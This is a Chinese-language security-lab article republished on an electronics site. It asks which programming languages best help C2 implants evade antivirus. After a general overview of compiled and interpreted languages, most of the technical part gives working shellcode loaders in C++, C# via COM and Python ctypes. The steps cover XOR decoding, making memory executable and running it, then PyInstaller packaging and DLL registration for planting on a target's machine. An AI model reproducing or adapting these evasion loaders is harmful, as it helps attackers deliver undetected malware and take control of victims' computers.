0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

什么語(yǔ)言適合做C2工具的免殺?

蛇矛實(shí)驗(yàn)室 ? 來(lái)源:蛇矛實(shí)驗(yàn)室 ? 2023-02-16 10:30 ? 次閱讀

1.什么語(yǔ)言適合做C2工具的免殺

首先我們需要了解一下編程語(yǔ)言的分類,大致可以分為以下幾種.

1.低級(jí)語(yǔ)言

機(jī)器語(yǔ)言(二進(jìn)制代碼)、匯編語(yǔ)言(面向機(jī)器的程序設(shè)計(jì)語(yǔ)言)和符號(hào)語(yǔ)言。匯編語(yǔ)言源程序必須經(jīng)過(guò)匯編,生成目標(biāo)文件,然后執(zhí)行。

機(jī)器語(yǔ)言優(yōu)缺點(diǎn)如下:

優(yōu)點(diǎn):直接執(zhí)行,速度快,資源占用少。

缺點(diǎn):可讀性、可移植性差,編程繁雜;

匯編語(yǔ)言優(yōu)缺點(diǎn)如下:

優(yōu)點(diǎn):能夠保持機(jī)器語(yǔ)言的一致性,直接、簡(jiǎn)捷,并能像機(jī)器指令一樣訪問(wèn)、控制計(jì)算機(jī)的各種硬件設(shè)備,如磁盤、存儲(chǔ)器、CPU、I/O端口等。使用匯編語(yǔ)言,可以訪問(wèn)所有能夠被訪問(wèn)的軟、硬件資源,目標(biāo)代碼簡(jiǎn)短,占用內(nèi)存少,執(zhí)行速度快。

缺點(diǎn):不同的處理器有不同的匯編語(yǔ)言語(yǔ)法和編譯器,編譯的程序無(wú)法在不同的處理器上執(zhí)行,缺乏可移植性,難于從匯編語(yǔ)言代碼上理解程序設(shè)計(jì)意圖,可維護(hù)性差,即使是完成簡(jiǎn)單的工作也需要大量的匯編語(yǔ)言代碼,很容易產(chǎn)生bug,難于調(diào)試,使用匯編語(yǔ)言必須對(duì)某種處理器非常了解,而且只能針對(duì)特定的體系結(jié)構(gòu)和處理器進(jìn)行優(yōu)化,開發(fā)效率很低,周期長(zhǎng)且單調(diào)。

2.高級(jí)語(yǔ)言

BASIC(True basic、Qbasic、Virtual Basic)、C、C++、PASCAL、FORTRAN、智能化語(yǔ)言(LISP、Prolog)、動(dòng)態(tài) 語(yǔ)言(Python、PHP、Ruby、Lua)等等。高級(jí)語(yǔ)言源程序可以用解釋、編譯兩種方式執(zhí)行。通常用后一種。我們使用的C語(yǔ)言就是使用的后者。

高級(jí)語(yǔ)言的優(yōu)缺點(diǎn)如下:

優(yōu)點(diǎn):高級(jí)語(yǔ)言接近算法語(yǔ)言,易學(xué)、易掌握,級(jí)語(yǔ)言為程序員提供了結(jié)構(gòu)化程序設(shè)計(jì)的環(huán)境和工具,使得設(shè)計(jì)出來(lái)的程序可讀性好,可維護(hù)性強(qiáng),可靠性高;高級(jí)語(yǔ)言遠(yuǎn)離機(jī)器語(yǔ)言,與具體的計(jì)算機(jī)硬件關(guān)系不大,可移植性好,重用率高;由于把繁雜瑣碎的事務(wù)交給了編譯程序去做,所以自動(dòng)化程度高,開發(fā)周期短,且程序員得到解脫,可以集中時(shí)間和精力去從事對(duì)于他們來(lái)說(shuō)更為重要的創(chuàng)造性勞動(dòng),以提高程序的質(zhì)量。

缺點(diǎn):運(yùn)行速度基本上比直接用匯編寫的慢,速度和程序大小與編譯軟件有關(guān)。

按轉(zhuǎn)換方式可分為三類:① 編譯型語(yǔ)言; ② 解釋型語(yǔ)言;③ 混合型語(yǔ)言。

計(jì)算機(jī)不能直接的理解高級(jí)語(yǔ)言,只能直接理解機(jī)器語(yǔ)言,所以必須要把高級(jí)語(yǔ)言翻譯成機(jī)器語(yǔ)言,計(jì)算機(jī)才能執(zhí)行高級(jí)語(yǔ)言的編寫的程序。翻譯的方式有兩種,一個(gè)是編譯,一個(gè)是解釋。兩種方式只是翻譯的時(shí)間不同。

編譯型語(yǔ)言

7e8a8c5c-ad17-11ed-bfe3-dac502259ad0.png

需通過(guò)編譯器(compiler)將源代碼編譯成機(jī)器碼,之后才能執(zhí)行的語(yǔ)言。一般需經(jīng)過(guò)編譯(compile)、鏈接(linker)這兩個(gè)步驟。編譯是把源代碼編譯成機(jī)器碼,鏈接是把各個(gè)模塊的機(jī)器碼和依賴庫(kù)串連起來(lái)生成可執(zhí)行文件。編譯和執(zhí)行是分開的,但是不能跨平臺(tái)。

優(yōu)點(diǎn):編譯器一般會(huì)有預(yù)編譯的過(guò)程對(duì)代碼進(jìn)行優(yōu)化。因?yàn)榫幾g只做一次,運(yùn)行時(shí)不需要編譯,所以編譯型語(yǔ)言的程序執(zhí)行效率高??梢悦撾x語(yǔ)言環(huán)境獨(dú)立運(yùn)行。

缺點(diǎn):編譯之后如果需要修改就需要整個(gè)模塊重新編譯。編譯的時(shí)候根據(jù)對(duì)應(yīng)的運(yùn)行環(huán)境生成機(jī)器碼,不同的操作系統(tǒng)之間移植就會(huì)有問(wèn)題,需要根據(jù)運(yùn)行的操作系統(tǒng)環(huán)境編譯不同的可執(zhí)行文件。

代表語(yǔ)言:C、C++、Pascal、Object-C、swift等。

解釋型語(yǔ)言

7e9bacee-ad17-11ed-bfe3-dac502259ad0.png

解釋性語(yǔ)言的程序不需要編譯,相比編譯型語(yǔ)言省了道工序,解釋性語(yǔ)言在運(yùn)行程序的時(shí)候才逐行翻譯。每一個(gè)語(yǔ)句都是執(zhí)行的時(shí)候才能翻譯。這樣解釋性語(yǔ)言每執(zhí)行一次要翻譯一次,效率表較低。

優(yōu)點(diǎn):有良好的平臺(tái)兼容性,在任何環(huán)境中都可以運(yùn)行,前提是安裝了解釋器(虛擬機(jī))。靈活,修改代碼的時(shí)候直接修改就可以,可以快速部署,不用停機(jī)維護(hù)。

缺點(diǎn):每次運(yùn)行的時(shí)候都要解釋一遍,性能上不如編譯型語(yǔ)言。

代表語(yǔ)言:JavaScript、Python、Erlang、PHP、Perl、Ruby等。

混合型語(yǔ)言

7ead1ace-ad17-11ed-bfe3-dac502259ad0.png

混合型語(yǔ)言也叫半編譯型語(yǔ)言。比如java、C#,C#在編譯的時(shí)候不是直接編譯成機(jī)器碼而是中間碼,.NET平臺(tái)提供了 中間語(yǔ)言運(yùn)行庫(kù)運(yùn)行中間碼,中間語(yǔ)言運(yùn)行庫(kù)類似于Java虛擬機(jī)。.net在編譯成IL代碼后,保存在dll中,首次運(yùn)行時(shí)由JIT在編譯成機(jī)器碼緩存在內(nèi)存中,下次直接執(zhí)行。

java解釋器采用生成與系統(tǒng)無(wú)關(guān)的字節(jié)代碼指令技術(shù)。也就是說(shuō),在任何不同的操作系統(tǒng)上,只要正確安裝了java運(yùn)行系統(tǒng),就有了編寫調(diào)試java程序的平臺(tái),在分布式應(yīng)用中,java的這個(gè)特點(diǎn)使同一個(gè)java程序能在不同的系統(tǒng)上運(yùn)行,從而提高了軟件生產(chǎn)效率??梢浦残允强缙脚_(tái)特性的一個(gè)延伸,即具有了跨平臺(tái)性,就保證了可移植性。java程序、java類庫(kù)、java編譯器、java系統(tǒng)都具有可移植性。

另外有一個(gè)特殊的情況,正常情況下JavaScript屬于解釋性語(yǔ)言,V8引擎是被設(shè)計(jì)用來(lái)提高網(wǎng)頁(yè)瀏覽器內(nèi)部JavaScript執(zhí)行的性能,為了提高性能,v8會(huì)把js代碼轉(zhuǎn)換為高效的機(jī)器碼,而不在是依賴于解釋器去執(zhí)行。v8引入了JIT在運(yùn)行 時(shí)把js代碼進(jìn)行轉(zhuǎn)換為機(jī)器碼。這里的主要區(qū)別在于V8不生成字節(jié)碼或任何中間代碼。這里的特殊之處在于JIT做代碼優(yōu)化(同時(shí)生成編譯版本);解釋型語(yǔ)言無(wú)法做到這些。

3.結(jié)論

綜上所述我們基本是所有語(yǔ)言都可以對(duì)軟件進(jìn)行免殺,那么這里推薦幾個(gè)語(yǔ)言 C/C++/C#/PYTHON/GO 這里我們會(huì)針對(duì)這些進(jìn)行免殺的測(cè)試,為什么這里混合型語(yǔ)言選擇C#而不是JAVA 因?yàn)镃#的.Net Framework環(huán)境在win7以上機(jī)器上已經(jīng)存在了只不過(guò)是版本不同,而Java的解釋器環(huán)境就不是了,而且很大,這樣我們就不是很容易的植入對(duì)方機(jī)器,從而不是很容易執(zhí)行我們自身程序.

2.C/C++對(duì)ShellCode免殺

1.原理

用C/C++對(duì)ShellCode進(jìn)行異或加密 在執(zhí)行

2.代碼實(shí)現(xiàn)

#include
#include

// 異或22的ShellCode 自己的SellCode
uint8_tcode[933] = { 0};

intmain()
{
for(auto& value : code)
{
value ^= 22;
}

DWORD old;
VirtualProtect(&code, sizeofcode, PAGE_EXECUTE_READWRITE, &old);

((void(*)()) & code)();

return0;
}

3.效果

7ebfd808-ad17-11ed-bfe3-dac502259ad0.png

3.C++ and C# 對(duì)ShellCode進(jìn)行免殺

1.原理

使用COM組件 用C++調(diào)用C# DLL進(jìn)行免殺

2.代碼實(shí)現(xiàn)

7ee08062-ad17-11ed-bfe3-dac502259ad0.png

選擇類庫(kù) .NET Framework 創(chuàng)建一個(gè)類庫(kù)項(xiàng)目

usingSystem;
usingSystem.Collections;
usingSystem.Collections.Generic;
usingSystem.Linq;
usingSystem.Net.Http;
usingSystem.Reflection;
usingSystem.Runtime.InteropServices;
usingSystem.Text;
usingSystem.Threading.Tasks;

namespaceClassLibrary1
{
[Guid("75A14A5E-968D-4140-A8BA-746DFBAFE408")]
publicinterfaceIClass1
{
[DispId(1)]
voidExeSellCode(IntPtr shellCodeAddr, intlen);
}

delegatevoidExeCall();
publicclassClass1: IClass1
{
publicvoidExeSellCode(IntPtr shellCodeAddr, intlen)
{
IntPtr intPtr = IntPtr.Zero;
VirtualProtect(shellCodeAddr, len, 0x40, outintPtr);
ExeCall call =(ExeCall)(Marshal.GetDelegateForFunctionPointer(shellCodeAddr, typeof(ExeCall)));
call.DynamicInvoke();
}

[DllImport("kernel32.dll")]
staticexternboolVirtualProtect(IntPtr lpAddress, Int64 dwSize, uintflNewProtect, outIntPtr lpflOldProtect);
}
}
#include 
#import "ClassLibrary1.tlb"
using namespace ClassLibrary1;


uint8_t code[933] = {
ShellCode
};

voidExeSellCode(longlongshellCodeAddr, intlen)
{
CoInitialize(nullptr);
ClassLibrary1::IClass1Ptr ptr(__uuidof(Class1));
ptr->ExeSellCode((longlong)shellCodeAddr, len);
ptr->Release();
CoUninitialize();
}

intmain()
{
for(auto& value : code)
{
value ^= 22;
}

ExeSellCode((longlong)&code, sizeof(code));

return0;
}

3.效果

7ef9f0c4-ad17-11ed-bfe3-dac502259ad0.png

4.Python對(duì)ShllCode進(jìn)行免殺

1.原理

Python寫完之后 可以通過(guò)CPython 進(jìn)行打包成二進(jìn)制文件直接運(yùn)行,體積較大.

2.代碼實(shí)現(xiàn)

importctypes


defmain():
# length: 933 bytes
buf = b"Python ShellCode xff"
shellcode = bytearray(buf)
size = len(shellcode)
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.restype = ctypes.c_uint64
MEM_COMMIT = 0x00001000
PAGE_EXECUTE_READWRITE = 0x40
# 申請(qǐng)內(nèi)存空間
ptr = kernel32.VirtualAlloc(
ctypes.c_int(0), # 基址可以填0, 但是數(shù)據(jù)類型需要轉(zhuǎn)換
ctypes.c_int(size), # 設(shè)置堆棧大小
ctypes.c_int(MEM_COMMIT), # 提交到物理內(nèi)存
ctypes.c_int(PAGE_EXECUTE_READWRITE) # 設(shè)置權(quán)限為可讀可寫可執(zhí)行
)
# 把shellcode放入緩沖區(qū)
buf = (ctypes.c_char * size).from_buffer(shellcode)
kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), # 申請(qǐng)的內(nèi)存
buf, # shellcode
ctypes.c_int(size) # 移動(dòng)的數(shù)據(jù)大小
)
# 創(chuàng)建線程調(diào)用shellcode
hThread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr), # 利用線程函數(shù)調(diào)用shellcode
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)) # 線程id為指針類型, 需要傳入地址, 所以用ctypes.pointer
)
# 等待線程執(zhí)行完畢, 關(guān)閉程序
# INIFITE在c的設(shè)定中值為: -1
kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1))


if__name__ == '__main__':
main()

需要打包成exe

pip install pyinstaller -> pyinstaller -F .main.py --noconsole

3.效果

7f49df6c-ad17-11ed-bfe3-dac502259ad0.png

7f7a314e-ad17-11ed-bfe3-dac502259ad0.png

可以正常上線

6.總結(jié)

1.文字總結(jié)

綜上所述,我們可以看到的是對(duì)于ShellCode異或之后目前測(cè)試的只有Python可上線,但是并不代表最好用Python來(lái)寫,恰恰相反我們基本不會(huì)去用Python,因?yàn)樯傻奈募?剛剛生成的大概為8M左右,不利于我們植入到(敵軍)電腦.

這里只是介紹了可以用不同語(yǔ)言去來(lái)執(zhí)行上線ShellCode,當(dāng)然效果也肯定是有所不同的,其他語(yǔ)言還需要自己去測(cè)試,不過(guò)目前效果很好的有GO,C++還算不錯(cuò),剩下的就靠你們聰明的大腦去想了.

語(yǔ)言并不能對(duì)免殺起到關(guān)鍵的作用,最主要的還是一些稀奇古怪的思路和方法,在今后的帖子里面將會(huì)持續(xù)更新相關(guān)內(nèi)容.

2.注意點(diǎn)

C# 和 C++里面需要注意的點(diǎn) C# 類庫(kù)要生成COM

7f8d46d0-ad17-11ed-bfe3-dac502259ad0.png

7fa0950a-ad17-11ed-bfe3-dac502259ad0.png

這樣會(huì)自動(dòng)在系統(tǒng)里注冊(cè)dll 如果需要植入到別人電腦里面 需要先將dll加入緩沖區(qū)在注冊(cè)

gacutil /i DLL路徑 將這個(gè)DLL加入的全局緩存里

regasm DLL路徑 注冊(cè)這個(gè)dll

Python注意點(diǎn)

需要將python文件生成可執(zhí)行文件,如果不想生成可執(zhí)行文件,也可以將Python環(huán)境打包到對(duì)方環(huán)境然后直接Python腳本。





審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 處理器
    +關(guān)注

    關(guān)注

    68

    文章

    19286

    瀏覽量

    229853
  • 編程語(yǔ)言
    +關(guān)注

    關(guān)注

    10

    文章

    1945

    瀏覽量

    34740
  • 匯編語(yǔ)言
    +關(guān)注

    關(guān)注

    14

    文章

    409

    瀏覽量

    35811
  • 機(jī)器語(yǔ)言
    +關(guān)注

    關(guān)注

    0

    文章

    35

    瀏覽量

    10755

原文標(biāo)題:免殺技術(shù)之語(yǔ)言免殺

文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    LM2904適合做電流采樣嗎?

    最近在做一個(gè)項(xiàng)目需要一個(gè)電流采樣功能,由于之前LM2904的成本比較低,所以選用的LM2902,但采集的數(shù)據(jù)有一些問(wèn)題,所以想請(qǐng)教一下各位,是電路設(shè)計(jì)有問(wèn)題還是LM2904這顆料不太適合做電流采樣?具體電路圖如下,謝謝!
    發(fā)表于 08-19 08:16

    請(qǐng)問(wèn)lmv324適合做跟隨器嗎?

    請(qǐng)問(wèn)lmv324適合做跟隨器嗎?如何閱讀手冊(cè)曲線圖判斷一個(gè)運(yùn)放是否合適做跟隨器呢?
    發(fā)表于 09-03 07:06

    DAC81408適合做信號(hào)發(fā)生器嗎?

    DAC81408適合做信號(hào)發(fā)生器嗎?8路輸出,頻率40-60Hz,各路相位相對(duì)可控,幅度最大10V。
    發(fā)表于 11-29 07:18

    小七論壇vip 2013源碼培訓(xùn)課程

    環(huán)境的搭建么?第三課:原始真的老去了么?myccl抗干擾測(cè)試第四課:我們要學(xué)習(xí)c語(yǔ)言
    發(fā)表于 10-05 17:35

    CC254X加密安全嗎,適合做藍(lán)牙鎖嗎?

    CC254X加密安全嗎,適合做藍(lán)牙鎖嗎?CC254X適合做藍(lán)牙鎖嗎?怎么覺得CC254X安全系數(shù)好低啊。配對(duì)那個(gè)PASSWORD才0~99999,不是很容易被試出來(lái)嗎?還是說(shuō)CC254X有別的東西
    發(fā)表于 04-05 17:30

    討論帖:電子元器件適合做電子商務(wù)嗎?

    `電子元器件比如貼片電阻適合做電子商務(wù)嗎?`
    發(fā)表于 04-19 15:22

    C語(yǔ)言的底層操作

      C語(yǔ)言的內(nèi)存模型基本上對(duì)應(yīng)了現(xiàn)在von Neumann(馮·諾伊曼)計(jì)算機(jī)的實(shí)際存儲(chǔ)模型,很好的達(dá)到了對(duì)機(jī)器的映射,這是C/C++適合做
    發(fā)表于 04-23 11:56

    請(qǐng)問(wèn)TI UCD系列適合做逆變器控制嗎?

    TI UCD系列適合做逆變器控制嗎?
    發(fā)表于 08-19 06:40

    AD7175-2適合做高精度萬(wàn)用表嗎

    壓,精度只有3位半左右,后幾位抖動(dòng)的非常厲害,這是為什么?是不是我使用的不恰當(dāng)?如果AD7175-2適合做高精度數(shù)據(jù)采集,可以給我推薦一款24bit的ADC做數(shù)采嗎?
    發(fā)表于 09-14 14:27

    女性會(huì)更適合做架構(gòu)師?

    人們往往發(fā)現(xiàn)優(yōu)秀的數(shù)學(xué)家、物理學(xué)家以及軟件架構(gòu)師有著很多相似的素質(zhì),甚至往往能夠一人精通這好幾個(gè)領(lǐng)域,其中很重要的原因就是這個(gè)抽象思維的能力。架構(gòu)師們潛意識(shí)中會(huì)覺得女性更適合做架構(gòu)師?讓我們看看這是為什么。
    發(fā)表于 07-17 06:15

    LabVIEW是否適合做中型項(xiàng)目

    請(qǐng)教各位資深人士一個(gè)問(wèn)題:LabVIEW是否適合做中型項(xiàng)目。我以前是專門做下位機(jī)的,項(xiàng)目都是用PLC+HMI來(lái)搭建的,現(xiàn)在我們公司想用LabVIEW+PCI多軸運(yùn)動(dòng)板卡+PCI數(shù)據(jù)采集卡來(lái)替代原有
    發(fā)表于 10-23 21:05

    PCB負(fù)片工藝為何不適合做金屬化半孔

    `請(qǐng)問(wèn)PCB負(fù)片工藝為何不適合做金屬化半孔?`
    發(fā)表于 02-26 16:42

    請(qǐng)問(wèn)波長(zhǎng)多少的紫外線led適合做uv漆的光固化?

    波長(zhǎng)多少的紫外線led適合做uv漆的光固化?
    發(fā)表于 11-02 08:08

    AD7175-2適合做高精度數(shù)據(jù)采集嗎?

    壓,精度只有3位半左右,后幾位抖動(dòng)的非常厲害,這是為什么?是不是我使用的不恰當(dāng)?如果AD7175-2適合做高精度數(shù)據(jù)采集,可以給我推薦一款24bit的ADC做數(shù)采嗎?
    發(fā)表于 12-18 08:29

    Erlang是什么_erlang適合做什么_olang與erlang的比較

    本文詳細(xì)介紹了Erlang是什么,erlang適合做什么以及olang與erlang的關(guān)系比較。Erlang編程語(yǔ)言最初目的是進(jìn)行大型電信交換設(shè)備的軟件開發(fā),是一種適用于大規(guī)模并行處理環(huán)境的高可靠性
    發(fā)表于 02-23 09:23 ?2.4w次閱讀
    Erlang是什么_erlang<b class='flag-5'>適合做</b>什么_olang與erlang的比較